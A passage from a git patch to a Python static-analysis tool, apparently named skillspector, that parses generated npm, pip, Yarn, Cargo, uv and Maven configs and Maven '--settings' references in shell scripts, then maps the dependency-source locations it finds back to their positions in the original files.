10:21:16 -0700 Subject: [PATCH 06/13] feat(sc10): analyze proven generated configs Signed-off-by: Nir Paz --- src/skillspector/dependency_sources.py | 939 ++++++++- src/skillspector/shell_frontend.py | 1799 ++++++++++++++++- .../analyzers/test_dependency_sources.py | 1200 +++++++++++ tests/unit/test_shell_frontend.py | 612 +++++- 4 files changed, 4471 insertions(+), 79 deletions(-) diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index 3427519f..4baeb289 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -10,9 +10,9 @@ import re import tomllib import xml.etree.ElementTree as ET -from bisect import bisect_left -from collections.abc import Iterable, Mapping, Sequence -from dataclasses import dataclass, field +from bisect import bisect_left, bisect_right +from collections.abc import Callable, Iterable, Mapping, Sequence +from dataclasses import dataclass, field, replace from typing import Final, cast from urllib.parse import urlsplit @@ -32,6 +32,9 @@ from skillspector.artifacts import ArtifactDisposition, ArtifactRecord, ContentKind from skillspector.dependency_source_types import ( + MAX_DEPENDENCY_FILE_BYTES, + MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE, + CommandSite, DependencyEcosystem, DependencyFileBudget, DependencySourceAnalysis, @@ -44,9 +47,13 @@ DependencySourceSurface, DependencyWorkBudget, DependencyWorkExhaustion, + DependencyWorkResource, DestinationStatus, + GeneratedConfig, SourceChange, + SourceMap, SourceSpan, + StaticValueState, finding_from_source_change, ) from skillspector.url_redaction import redact_url @@ -111,6 +118,349 @@ class _Candidate: scope: DependencySourceScope span: SourceSpan destination: str | None = None + force_unresolved: bool = False + + +_CandidateMapper = Callable[[_Candidate], _Candidate | None] + + +@dataclass(slots=True) +class _GeneratedCandidateMapper: + entries: tuple[tuple[int, int, int, int], ...] + path: str + physical_size_bytes: int + physical_line_starts: tuple[int, ...] + config_span: SourceSpan + unknown_ranges: tuple[tuple[int, int], ...] = () + force_unresolved: bool = False + failed: bool = False + _strict_source_map: SourceMap | None = field(default=None, repr=False) + _child_starts: tuple[int, ...] = field(init=False, repr=False) + _unknown_starts: tuple[int, ...] = field(init=False, repr=False) + _unknown_ends: tuple[int, ...] = field(init=False, repr=False) + _candidate_ranges: list[tuple[int, int]] = field(default_factory=list, repr=False) + + def __post_init__(self) -> None: + self._child_starts = tuple(entry[0] for entry in self.entries) + self._unknown_starts = tuple(start for start, _ in self.unknown_ranges) + self._unknown_ends = tuple(end for _, end in self.unknown_ranges) + + @classmethod + def from_source_map( + cls, + source_map: SourceMap, + config_span: SourceSpan, + *, + force_unresolved: bool = False, + ) -> _GeneratedCandidateMapper | None: + entries = tuple( + ( + entry.child_start_byte, + entry.child_end_byte, + entry.physical_start_byte, + entry.physical_end_byte, + ) + for entry in source_map.entries + ) + if any( + physical_start < config_span.start_byte or physical_end > config_span.end_byte + for _, _, physical_start, physical_end in entries + ): + return None + return cls( + entries, + source_map.path, + source_map.physical_size_bytes, + source_map.physical_line_starts, + config_span, + force_unresolved=force_unresolved, + _strict_source_map=source_map, + ) + + def _physical_position(self, byte_offset: int) -> tuple[int, int]: + line_index = bisect_right(self.physical_line_starts, byte_offset) - 1 + return line_index + 1, byte_offset - self.physical_line_starts[line_index] + + def _entry_for(self, byte_offset: int) -> tuple[int, int, int, int] | None: + if not self.entries: + return None + index = max(0, bisect_right(self._child_starts, byte_offset) - 1) + entry = self.entries[index] + return entry if entry[0] <= byte_offset < entry[1] else None + + @staticmethod + def _mapped_endpoint( + entry: tuple[int, int, int, int], + byte_offset: int, + *, + end: bool, + ) -> int: + child_start, child_end, physical_start, physical_end = entry + if child_end - child_start == physical_end - physical_start: + return physical_start + (byte_offset - child_start) + (1 if end else 0) + return physical_end if end else physical_start + + def _map_range(self, start_byte: int, end_byte: int) -> SourceSpan | None: + if self._strict_source_map is not None: + return self._strict_source_map.map_range(start_byte, end_byte) + if end_byte <= start_byte: + return None + start_entry = self._entry_for(start_byte) + end_entry = self._entry_for(end_byte - 1) + if start_entry is None or end_entry is None: + return None + mapped_start = self._mapped_endpoint(start_entry, start_byte, end=False) + mapped_end = self._mapped_endpoint(end_entry, end_byte - 1, end=True) + if ( + mapped_end <= mapped_start + or mapped_start < self.config_span.start_byte + or mapped_end > self.config_span.end_byte + or mapped_end > self.physical_size_bytes + ): + return None + start_line, start_column = self._physical_position(mapped_start) + end_line, _ = self._physical_position(mapped_end - 1) + end_line_start = self.physical_line_starts[end_line - 1] + return SourceSpan( + self.path, + mapped_start, + mapped_end, + start_line, + end_line, + start_column=start_column, + end_column=mapped_end - end_line_start, + ) + + def __call__(self, candidate: _Candidate) -> _Candidate | None: + mapped = self._map_range(candidate.span.start_byte, candidate.span.end_byte) + if mapped is None: + self.failed = True + return None + candidate_unknown = self.force_unresolved + first_unknown = bisect_right(self._unknown_ends, candidate.span.start_byte) + unknown_limit = bisect_left(self._unknown_starts, candidate.span.end_byte) + if first_unknown < unknown_limit: + if ( + candidate.span.start_byte > self.unknown_ranges[first_unknown][0] + or candidate.span.end_byte < self.unknown_ranges[unknown_limit - 1][1] + ): + self.failed = True + return None + candidate_unknown = True + self._candidate_ranges.append((candidate.span.start_byte, candidate.span.end_byte)) + return replace( + candidate, + surface=DependencySourceSurface.GENERATED_CONFIG, + span=mapped, + force_unresolved=candidate.force_unresolved or candidate_unknown, + ) + + @property + def uncertainty_confined(self) -> bool: + if self.failed: + return False + candidates = iter(sorted(self._candidate_ranges)) + current = next(candidates, None) + for unknown_start, unknown_end in self.unknown_ranges: + while current is not None and current[1] <= unknown_start: + current = next(candidates, None) + if current is None or current[0] > unknown_start or current[1] < unknown_end: + return False + return True + + +@dataclass(frozen=True, slots=True) +class _GeneratedProofView: + raw: bytes = field(repr=False) + entries: tuple[tuple[int, int, int, int], ...] = field(repr=False) + unknown_ranges: tuple[tuple[int, int], ...] = field(repr=False) + unknowns_quoted: bool + path: str + physical_size_bytes: int + physical_line_starts: tuple[int, ...] = field(repr=False) + + +def _span_matches_physical_lines( + span: SourceSpan, + physical_size_bytes: int, + physical_line_starts: tuple[int, ...], +) -> bool: + if span.end_byte > physical_size_bytes or not physical_line_starts: + return False + start_index = bisect_right(physical_line_starts, span.start_byte) - 1 + end_offset = span.end_byte - 1 if span.end_byte > span.start_byte else span.start_byte + end_index = bisect_right(physical_line_starts, end_offset) - 1 + return start_index + 1 == span.start_line and end_index + 1 == span.end_line + + +def _generated_config_physical_metadata( + config: GeneratedConfig, +) -> tuple[int, tuple[int, ...]] | None: + from skillspector.shell_frontend import _ProvenGeneratedConfig # noqa: PLC0415 + + if type(config) is not _ProvenGeneratedConfig: + return None + physical_size = getattr(config, "physical_size_bytes", None) + line_starts = getattr(config, "physical_line_starts", None) + if ( + type(physical_size) is not int + or physical_size < config.span.end_byte + or physical_size > MAX_DEPENDENCY_FILE_BYTES + or not isinstance(line_starts, tuple) + or not line_starts + or len(line_starts) > MAX_DEPENDENCY_FILE_BYTES + 1 + or line_starts[0] != 0 + or any(type(value) is not int or value < 0 for value in line_starts) + or any(right <= left for left, right in zip(line_starts, line_starts[1:], strict=False)) + or line_starts[-1] > physical_size + or not _span_matches_physical_lines(config.span, physical_size, line_starts) + ): + return None + return physical_size, line_starts + + +def _generated_proof_view( + config: GeneratedConfig, + attribute: str, +) -> _GeneratedProofView | None: + proof = getattr(config, attribute, None) + if proof is None: + return None + from skillspector.shell_frontend import ( # noqa: PLC0415 + _GENERATED_UNKNOWN_MARKER, + _GeneratedProofEntry, + _GeneratedValueProof, + ) + + config_metadata = _generated_config_physical_metadata(config) + if config_metadata is None or type(proof) is not _GeneratedValueProof: + return None + raw = getattr(proof, "raw_bytes", None) + raw_entries = getattr(proof, "entries", None) + raw_unknowns = getattr(proof, "unknown_ranges", None) + unknowns_quoted = getattr(proof, "unknowns_quoted", None) + path = getattr(proof, "path", None) + physical_size = getattr(proof, "physical_size_bytes", None) + line_starts = getattr(proof, "physical_line_starts", None) + if ( + type(raw) is not bytes + or len(raw) > MAX_DEPENDENCY_FILE_BYTES + or not isinstance(raw_entries, tuple) + or not isinstance(raw_unknowns, tuple) + or len(raw_entries) > MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE + or len(raw_unknowns) > MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE + or type(unknowns_quoted) is not bool + or path != config.span.path + or type(physical_size) is not int + or physical_size < config.span.end_byte + or not isinstance(line_starts, tuple) + or not line_starts + or line_starts[0] != 0 + or any(type(value) is not int or value < 0 for value in line_starts) + or any(right <= left for left, right in zip(line_starts, line_starts[1:], strict=False)) + or line_starts[-1] > physical_size + or not _span_matches_physical_lines(config.span, physical_size, line_starts) + or (physical_size, line_starts) != config_metadata + ): + return None + entries: list[tuple[int, int, int, int]] = [] + for entry in raw_entries: + if type(entry) is not _GeneratedProofEntry: + return None + values = tuple( + getattr(entry, name, None) + for name in ( + "child_start_byte", + "child_end_byte", + "physical_start_byte", + "physical_end_byte", + ) + ) + if any(type(value) is not int for value in values): + return None + typed_values = cast(tuple[int, int, int, int], values) + if ( + typed_values[0] < 0 + or typed_values[1] <= typed_values[0] + or typed_values[1] > len(raw) + or typed_values[2] < config.span.start_byte + or typed_values[3] <= typed_values[2] + or typed_values[3] > config.span.end_byte + or typed_values[3] > physical_size + ): + return None + entries.append(typed_values) + if any( + right[0] < left[1] or right[2] < left[3] + for left, right in zip(entries, entries[1:], strict=False) + ): + return None + if entries: + if ( + entries[0][0] != 0 + or any(right[0] != left[1] for left, right in zip(entries, entries[1:], strict=False)) + or ( + entries[-1][1] != len(raw) + and not (entries[-1][1] == len(raw) - 1 and raw.endswith(b"\n")) + ) + ): + return None + elif raw not in {b"", b"\n"}: + return None + unknowns: list[tuple[int, int]] = [] + for item in raw_unknowns: + if ( + not isinstance(item, tuple) + or len(item) != 2 + or any(type(value) is not int for value in item) + or item[0] < 0 + or item[1] <= item[0] + or item[1] > len(raw) + or raw[item[0] : item[1]] != _GENERATED_UNKNOWN_MARKER + ): + return None + unknowns.append(item) + if any(right[0] < left[1] for left, right in zip(unknowns, unknowns[1:], strict=False)): + return None + if unknowns: + expected_unknowns: list[tuple[int, int]] = [] + marker_start = 0 + while (marker_start := raw.find(_GENERATED_UNKNOWN_MARKER, marker_start)) >= 0: + marker_end = marker_start + len(_GENERATED_UNKNOWN_MARKER) + expected_unknowns.append((marker_start, marker_end)) + if len(expected_unknowns) > MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE: + return None + marker_start = marker_end + if tuple(expected_unknowns) != tuple(unknowns): + return None + entry_starts = tuple(entry[0] for entry in entries) + for start, end in unknowns: + entry_index = max(0, bisect_right(entry_starts, start) - 1) + if not entries or entries[entry_index][0] > start or entries[entry_index][1] < end: + return None + return _GeneratedProofView( + raw, + tuple(entries), + tuple(unknowns), + unknowns_quoted, + path, + physical_size, + line_starts, + ) + + +def _selector_from_target_proof(proof: _GeneratedProofView) -> str | None: + if not proof.unknown_ranges or not proof.unknowns_quoted: + return None + suffix = proof.raw[max(end for _, end in proof.unknown_ranges) :] + separator = suffix.rfind(b"/") + if separator < 0 or separator + 1 == len(suffix): + return None + try: + selector = suffix[separator + 1 :].decode("utf-8", errors="strict") + except UnicodeDecodeError: + return None + return selector if _is_recognized_path(selector) else None @dataclass(frozen=True, slots=True) @@ -445,7 +795,11 @@ def _candidate_change( literal_bytes = len(raw_destination.encode("utf-8")) if exhaustion := budget.charge_retained_literal_bytes(literal_bytes): return None, exhaustion - normalized = _destination(candidate.ecosystem, raw_destination) + normalized = ( + ("unresolved", DestinationStatus.UNRESOLVED) + if candidate.force_unresolved + else _destination(candidate.ecosystem, raw_destination) + ) if normalized is None: return None, None if exhaustion := budget.reserve_source_changes(): @@ -472,7 +826,28 @@ def _changes_from_candidates( raw: bytes, budget: DependencyFileBudget, atomic: bool = False, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: + if candidate_mapper is not None: + mapped: list[_Candidate] = [] + for candidate in candidates: + raw_destination = candidate.destination + if raw_destination is None: + raw_destination = raw[candidate.span.start_byte : candidate.span.end_byte].decode( + "utf-8" + ) + retained = candidate_mapper( + replace(candidate, destination=raw_destination), + ) + if retained is None: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) + mapped.append(retained) + candidates = tuple(mapped) + if ( + isinstance(candidate_mapper, _GeneratedCandidateMapper) + and not candidate_mapper.uncertainty_confined + ): + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) if atomic: prepared: list[tuple[_Candidate, str, DestinationStatus]] = [] retained_literal_bytes = 0 @@ -483,7 +858,11 @@ def _changes_from_candidates( "utf-8" ) retained_literal_bytes += len(raw_destination.encode("utf-8")) - normalized = _destination(candidate.ecosystem, raw_destination) + normalized = ( + ("unresolved", DestinationStatus.UNRESOLVED) + if candidate.force_unresolved + else _destination(candidate.ecosystem, raw_destination) + ) if normalized is not None: prepared.append((candidate, *normalized)) exhaustion = budget.reserve_source_batch( @@ -528,6 +907,8 @@ def _parse_npm( text: str, raw: bytes, budget: DependencyFileBudget, + *, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: effective: dict[str, _Candidate] = {} offsets = _line_offsets(text) @@ -568,6 +949,7 @@ def _parse_npm( path=path, raw=raw, budget=budget, + candidate_mapper=candidate_mapper, ) @@ -616,6 +998,8 @@ def _parse_pip( text: str, raw: bytes, budget: DependencyFileBudget, + *, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: lines = _physical_lines(text) offsets = _line_offsets(text) @@ -748,7 +1132,13 @@ def _parse_pip( ) ) candidates.sort(key=lambda candidate: candidate.span.start_byte) - return _changes_from_candidates(candidates, path=path, raw=raw, budget=budget) + return _changes_from_candidates( + candidates, + path=path, + raw=raw, + budget=budget, + candidate_mapper=candidate_mapper, + ) def _yarn_v1_tokens(line: str) -> tuple[list[tuple[str, int, int]], bool]: @@ -801,6 +1191,8 @@ def _parse_yarn_v1( text: str, raw: bytes, budget: DependencyFileBudget, + *, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: effective: dict[str, _Candidate] = {} offsets = _line_offsets(text) @@ -836,6 +1228,7 @@ def _parse_yarn_v1( path=path, raw=raw, budget=budget, + candidate_mapper=candidate_mapper, ) @@ -1139,6 +1532,8 @@ def _parse_yarn_yaml( text: str, raw: bytes, budget: DependencyFileBudget, + *, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: root, anchors, failure = _yaml_event_tree(path, text, raw, budget) if failure is not None: @@ -1273,6 +1668,7 @@ def _parse_yarn_yaml( raw=raw, budget=budget, atomic=True, + candidate_mapper=candidate_mapper, ) @@ -1546,6 +1942,8 @@ def _parse_python_project( budget: DependencyFileBudget, *, skip_pyproject_uv: bool, + selector_path: str | None = None, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: try: document = tomllib.loads(text) @@ -1555,7 +1953,7 @@ def _parse_python_project( return DependencySourceParseResult(limitations=(_limitation(path, raw, exhaustion),)) table_specs: list[tuple[tuple[str, ...], DependencyEcosystem]] - if _basename(path) == "uv.toml": + if _basename(selector_path or path) == "uv.toml": table_specs = [(("index",), DependencyEcosystem.UV)] else: table_specs = [ @@ -1635,6 +2033,7 @@ def _parse_python_project( raw=raw, budget=budget, atomic=True, + candidate_mapper=candidate_mapper, ) @@ -1755,6 +2154,8 @@ def _parse_cargo( text: str, raw: bytes, budget: DependencyFileBudget, + *, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: try: document = tomllib.loads(text) @@ -1855,6 +2256,7 @@ def _parse_cargo( raw=raw, budget=budget, atomic=True, + candidate_mapper=candidate_mapper, ) @@ -1895,6 +2297,8 @@ def _xml_semantic_records( text: str, raw: bytes, budget: DependencyFileBudget, + *, + expected_root: str | None = None, ) -> tuple[list[_XmlSemanticRecord] | None, bool, DependencySourceParseResult | None]: parser = ET.XMLPullParser(events=("start", "end")) frames: list[_XmlFrame] = [] @@ -1986,8 +2390,10 @@ def consume_events() -> DependencyWorkExhaustion | bool | None: return None, False, DependencySourceParseResult(limitations=(_limitation(path, raw),)) if frames: return None, False, DependencySourceParseResult(limitations=(_limitation(path, raw),)) - expected_root = "settings" if _basename(path) == "settings.xml" else "project" - applicable = root_name == expected_root + selected_root = expected_root or ( + "settings" if _basename(path) == "settings.xml" else "project" + ) + applicable = root_name == selected_root if not applicable: return [], False, None if invalid_relevant: @@ -2104,14 +2510,28 @@ def _parse_maven( text: str, raw: bytes, budget: DependencyFileBudget, + *, + expected_root: str | None = None, + require_expected_root: bool = False, + candidate_mapper: _CandidateMapper | None = None, ) -> DependencySourceParseResult: if b" DependencySourceParseResult: - basename = _basename(path) + selected_path = selector_path or path + basename = _basename(selected_path) if basename in _NPM_BASENAMES: - return _parse_npm(path, text, raw, budget) + return _parse_npm(path, text, raw, budget, candidate_mapper=candidate_mapper) if basename in _PIP_BASENAMES: - return _parse_pip(path, text, raw, budget) + return _parse_pip(path, text, raw, budget, candidate_mapper=candidate_mapper) if basename in _YARN_V1_BASENAMES: - return _parse_yarn_v1(path, text, raw, budget) + return _parse_yarn_v1(path, text, raw, budget, candidate_mapper=candidate_mapper) if basename in _YARN_YAML_BASENAMES: - return _parse_yarn_yaml(path, text, raw, budget) - if _is_cargo_path(path): - return _parse_cargo(path, text, raw, budget) + return _parse_yarn_yaml(path, text, raw, budget, candidate_mapper=candidate_mapper) + if _is_cargo_path(selected_path): + return _parse_cargo(path, text, raw, budget, candidate_mapper=candidate_mapper) if basename in _MAVEN_BASENAMES: - return _parse_maven(path, text, raw, budget) + return _parse_maven( + path, + text, + raw, + budget, + expected_root="settings" if basename == "settings.xml" else "project", + candidate_mapper=candidate_mapper, + ) return _parse_python_project( path, text, raw, budget, skip_pyproject_uv=skip_pyproject_uv, + selector_path=selected_path, + candidate_mapper=candidate_mapper, + ) + + +def _span_limitation( + span: SourceSpan, + exhaustion: DependencyWorkExhaustion | None = None, +) -> DependencySourceLimitation: + metrics = exhaustion.ledger_metrics() if exhaustion is not None else {} + return DependencySourceLimitation( + reason=DependencySourceLimitationReason.PARSE_INCOMPLETE, + path=span.path, + start_line=span.start_line, + end_line=span.end_line, + **metrics, + ) + + +def _parse_generated_configs( + configs: Iterable[GeneratedConfig], + *, + budget: DependencyWorkBudget, +) -> DependencySourceParseResult: + """Dispatch only typed generated buffers through existing direct parsers.""" + if not isinstance(budget, DependencyWorkBudget): + raise ValueError("budget must be a DependencyWorkBudget") + changes: list[SourceChange] = [] + limitations: list[DependencySourceLimitation] = [] + for config in configs: + if not isinstance(config, GeneratedConfig): + raise ValueError("configs must contain GeneratedConfig values") + config_metadata = _generated_config_physical_metadata(config) + if config_metadata is None: + limitations.append(_span_limitation(config.span)) + continue + target_unknown = False + raw_target_proof = getattr(config, "target_proof", None) + target_proof = ( + _generated_proof_view(config, "target_proof") if raw_target_proof is not None else None + ) + if raw_target_proof is not None and target_proof is None: + limitations.append(_span_limitation(config.span)) + continue + selector: str | None + if config.target.state is StaticValueState.EXACT: + if target_proof is not None and ( + target_proof.raw != cast(bytes, config.target.exact_bytes) + or target_proof.unknown_ranges + ): + limitations.append(_span_limitation(config.span)) + continue + try: + target_text = cast(bytes, config.target.exact_bytes).decode( + "utf-8", errors="strict" + ) + except UnicodeDecodeError: + limitations.append(_span_limitation(config.span)) + continue + selector = target_text + if "\x00" in selector: + limitations.append(_span_limitation(config.span)) + continue + if not _is_recognized_path(selector): + continue + elif config.target.state is StaticValueState.UNKNOWN: + selector = ( + _selector_from_target_proof(target_proof) if target_proof is not None else None + ) + if selector is None: + limitations.append(_span_limitation(config.span)) + continue + target_unknown = True + else: + limitations.append(_span_limitation(config.span)) + continue + + map_candidate: _GeneratedCandidateMapper | None + if config.content.state is StaticValueState.EXACT: + if config.source_map is None: + limitations.append(_span_limitation(config.span)) + continue + raw = cast(bytes, config.content.exact_bytes) + source_map = config.source_map + if ( + source_map.path != config.span.path + or source_map.child_size_bytes != len(raw) + or source_map.physical_size_bytes < config.span.end_byte + or ( + source_map.physical_size_bytes, + source_map.physical_line_starts, + ) + != config_metadata + or not _span_matches_physical_lines( + config.span, + source_map.physical_size_bytes, + source_map.physical_line_starts, + ) + ): + limitations.append(_span_limitation(config.span)) + continue + raw_content_proof = getattr(config, "content_proof", None) + content_proof = ( + _generated_proof_view(config, "content_proof") + if raw_content_proof is not None + else None + ) + if raw_content_proof is not None and content_proof is None: + limitations.append(_span_limitation(config.span)) + continue + if content_proof is not None: + if ( + content_proof.raw != raw + or content_proof.unknown_ranges + or content_proof.path != source_map.path + or content_proof.physical_size_bytes != source_map.physical_size_bytes + or content_proof.physical_line_starts != source_map.physical_line_starts + ): + limitations.append(_span_limitation(config.span)) + continue + map_candidate = _GeneratedCandidateMapper( + content_proof.entries, + content_proof.path, + content_proof.physical_size_bytes, + content_proof.physical_line_starts, + config.span, + force_unresolved=target_unknown, + ) + else: + map_candidate = _GeneratedCandidateMapper.from_source_map( + source_map, + config.span, + force_unresolved=target_unknown, + ) + elif config.content.state is StaticValueState.UNKNOWN: + content_proof = _generated_proof_view(config, "content_proof") + if content_proof is None or not content_proof.unknown_ranges: + limitations.append(_span_limitation(config.span)) + continue + raw = content_proof.raw + map_candidate = _GeneratedCandidateMapper( + content_proof.entries, + content_proof.path, + content_proof.physical_size_bytes, + content_proof.physical_line_starts, + config.span, + unknown_ranges=content_proof.unknown_ranges, + force_unresolved=target_unknown, + ) + else: + limitations.append(_span_limitation(config.span)) + continue + if map_candidate is None or b"\x00" in raw or len(raw) > MAX_DEPENDENCY_FILE_BYTES: + limitations.append(_span_limitation(config.span)) + continue + try: + text = raw.decode("utf-8", errors="strict") + except UnicodeDecodeError: + limitations.append(_span_limitation(config.span)) + continue + + parsed = _parse_file( + config.span.path, + text, + raw, + budget.for_file(config.span.path), + selector_path=selector, + candidate_mapper=map_candidate, + ) + if not map_candidate.uncertainty_confined or parsed.limitations: + limitations.append( + replace( + parsed.limitations[0], + path=config.span.path, + start_line=config.span.start_line, + end_line=config.span.end_line, + ) + if parsed.limitations + else _span_limitation(config.span) + ) + continue + changes.extend(parsed.changes) + return DependencySourceParseResult( + changes=tuple(changes), + limitations=tuple(limitations), + ) + + +def _maven_settings_arguments(command: CommandSite) -> tuple[tuple[bytes, ...], bool]: + if len(command.argv) == 1: + return (), False + first = command.argv[1] + if first.state is not StaticValueState.EXACT: + return (), True + first_literal = cast(bytes, first.exact_bytes) + if first_literal == b"--": + return (), False + if first_literal.startswith((b"-s=", b"--settings=")): + return (), True + if first_literal not in {b"-s", b"--settings"}: + index = 2 + while index < len(command.argv): + value = command.argv[index] + if value.state is not StaticValueState.EXACT: + return (), True + literal = cast(bytes, value.exact_bytes) + if literal == b"--": + return (), False + if literal in {b"-s", b"--settings"} or literal.startswith((b"-s=", b"--settings=")): + return (), True + index += 1 + return (), False + if len(command.argv) == 2 or command.argv[2].state is not StaticValueState.EXACT: + return (), True + reference = cast(bytes, command.argv[2].exact_bytes) + index = 3 + while index < len(command.argv): + value = command.argv[index] + if value.state is not StaticValueState.EXACT: + return (), True + literal = cast(bytes, value.exact_bytes) + if literal == b"--": + break + if literal in {b"-s", b"--settings"} or literal.startswith((b"-s=", b"--settings=")): + return (), True + index += 1 + return (reference,), False + + +def _maven_function_feature_closure( + seeds: set[tuple[str, int]], + reverse_calls_by_id: Mapping[int, set[tuple[str, int]]], + ambiguous_callers: set[tuple[str, int]], +) -> frozenset[tuple[str, int]]: + retained = set(seeds) + if retained: + retained.update(ambiguous_callers) + pending = list(retained) + while pending: + callee = pending.pop() + for caller in reverse_calls_by_id.get(callee[1], ()): + if caller in retained: + continue + retained.add(caller) + pending.append(caller) + return frozenset(retained) + + +def _canonical_bundle_path(value: object) -> str | None: + if not isinstance(value, str): + return None + try: + return DependencySourceSpan(path=value, start_line=1, end_line=1).path + except ValueError: + return None + + +def _parse_maven_settings_references( + commands: Iterable[object], + *, + components: Iterable[str], + local_file_cache: Mapping[str, str], + raw_file_cache: Mapping[str, bytes], + artifact_inventory: Iterable[ArtifactRecord], + budget: DependencyWorkBudget, +) -> DependencySourceParseResult: + """Resolve literal Maven settings references only within supplied bundle maps.""" + if not isinstance(budget, DependencyWorkBudget): + raise ValueError("budget must be a DependencyWorkBudget") + component_counts: dict[str, int] = {} + for path in components: + normalized = _canonical_bundle_path(path) + if normalized is not None: + component_counts[normalized] = component_counts.get(normalized, 0) + 1 + inventory_by_path: dict[str, list[ArtifactRecord]] = {} + for record in artifact_inventory: + normalized = _canonical_bundle_path(record.get("path")) + if normalized is not None: + inventory_by_path.setdefault(normalized, []).append(record) + raw_by_path: dict[str, list[object]] = {} + for path, raw in raw_file_cache.items(): + normalized = _canonical_bundle_path(path) + if normalized is not None: + raw_by_path.setdefault(normalized, []).append(raw) + local_by_path: dict[str, list[object]] = {} + for path, decoded in local_file_cache.items(): + normalized = _canonical_bundle_path(path) + if normalized is not None: + local_by_path.setdefault(normalized, []).append(decoded) + + validated_commands: list[tuple[CommandSite, object, str, tuple[str, int] | None]] = [] + for modeled_command in commands: + command = getattr(modeled_command, "site", None) + resolution = getattr(modeled_command, "resolution", None) + program_id = getattr(modeled_command, "program_id", None) + function_id = getattr(modeled_command, "function_id", None) + containing_program_id = getattr(modeled_command, "containing_function_program_id", None) + containing_function_id = getattr(modeled_command, "containing_function_id", None) + if ( + not isinstance(command, CommandSite) + or resolution is None + or not isinstance(program_id, str) + or not program_id + or (function_id is not None and type(function_id) is not int) + or (containing_program_id is None) != (containing_function_id is None) + or ( + containing_program_id is not None + and (not isinstance(containing_program_id, str) or not containing_program_id) + ) + or (containing_function_id is not None and type(containing_function_id) is not int) + ): + raise ValueError("commands must contain modeled shell command values") + owner_function = ( + (program_id, function_id) + if function_id is not None + else ( + (containing_program_id, containing_function_id) + if containing_program_id is not None and containing_function_id is not None + else None + ) + ) + validated_commands.append((command, resolution, program_id, owner_function)) + + source_functions: set[tuple[str, int]] = set() + settings_functions: set[tuple[str, int]] = set() + reverse_calls_by_id: dict[int, set[tuple[str, int]]] = {} + ambiguous_callers: set[tuple[str, int]] = set() + for command, resolution, _program_id, owner_function in validated_commands: + if owner_function is None: + continue + function_key = owner_function + argv = command.argv + if argv[0].state is StaticValueState.EXACT and cast(bytes, argv[0].exact_bytes) in { + b".", + b"source", + }: + source_functions.add(function_key) + if argv[0].state is StaticValueState.EXACT and cast(bytes, argv[0].exact_bytes) == b"mvn": + references, malformed = _maven_settings_arguments(command) + if references or malformed: + settings_functions.add(function_key) + resolution_kind = getattr(getattr(resolution, "kind", None), "value", None) + target_function_id = getattr(resolution, "function_id", None) + if resolution_kind == "function" and type(target_function_id) is int: + reverse_calls_by_id.setdefault(target_function_id, set()).add(function_key) + elif resolution_kind == "ambiguous": + ambiguous_callers.add(function_key) + source_functions_closed = _maven_function_feature_closure( + source_functions, + reverse_calls_by_id, + ambiguous_callers, + ) + settings_functions_closed = _maven_function_feature_closure( + settings_functions, + reverse_calls_by_id, + ambiguous_callers, + ) + feature_function_keys = source_functions_closed | settings_functions_closed + + changes: list[SourceChange] = [] + limitations: list[DependencySourceLimitation] = [] + resolution_barrier = False + for command, resolution, program_id, owner_function in validated_commands: + if owner_function is not None: + continue + argv = command.argv + resolution_kind = getattr(getattr(resolution, "kind", None), "value", None) + target_function_id = getattr(resolution, "function_id", None) + possible_function_keys: frozenset[tuple[str, int]] + if resolution_kind == "function" and type(target_function_id) is int: + possible_function_keys = frozenset( + key for key in feature_function_keys if key[1] == target_function_id + ) + elif resolution_kind == "ambiguous": + same_program_keys = frozenset( + key for key in feature_function_keys if key[0] == program_id + ) + possible_function_keys = same_program_keys or frozenset(feature_function_keys) + else: + possible_function_keys = frozenset() + if possible_function_keys & source_functions_closed: + resolution_barrier = True + if possible_function_keys & settings_functions_closed and not ( + argv[0].state is StaticValueState.EXACT and cast(bytes, argv[0].exact_bytes) == b"mvn" + ): + limitations.append(_span_limitation(command.span)) + if argv[0].state is StaticValueState.EXACT and cast(bytes, argv[0].exact_bytes) in { + b".", + b"source", + }: + resolution_barrier = True + continue + if ( + argv[0].state is not StaticValueState.EXACT + or cast(bytes, argv[0].exact_bytes) != b"mvn" + ): + continue + if resolution_barrier or resolution_kind != "external": + limitations.append(_span_limitation(command.span)) + continue + references, malformed = _maven_settings_arguments(command) + if malformed: + limitations.append(_span_limitation(command.span)) + continue + if not references: + continue + try: + reference = references[0].decode("utf-8", errors="strict") + resolved = DependencySourceSpan( + path=reference, + start_line=1, + end_line=1, + ).path + except (UnicodeDecodeError, ValueError): + limitations.append(_span_limitation(command.span)) + continue + if component_counts.get(resolved) != 1: + limitations.append(_span_limitation(command.span)) + continue + records = inventory_by_path.get(resolved, []) + raw_values = raw_by_path.get(resolved, []) + local_values = local_by_path.get(resolved, []) + if ( + len(records) != 1 + or len(raw_values) != 1 + or len(local_values) != 1 + or not isinstance(raw_values[0], bytes) + or not isinstance(local_values[0], str) + ): + limitations.append(_span_limitation(command.span)) + continue + raw = cast(bytes, raw_values[0]) + supplied_text = cast(str, local_values[0]) + observed_size = max(len(raw), _inventory_size(records[0])) + file_budget = budget.for_file(resolved) + charged_size = file_budget.used(DependencyWorkResource.PHYSICAL_BYTES) + if charged_size not in {0, observed_size}: + limitations.append(_span_limitation(command.span)) + continue + if charged_size == 0: + if exhaustion := file_budget.charge_physical_bytes(observed_size): + limitations.append(_span_limitation(command.span, exhaustion)) + continue + if observed_size > MAX_DEPENDENCY_FILE_BYTES or not _is_complete_text_record( + records[0], len(raw) + ): + limitations.append(_span_limitation(command.span)) + continue + try: + decoded = raw.decode("utf-8", errors="strict") + except UnicodeDecodeError: + limitations.append(_span_limitation(command.span)) + continue + 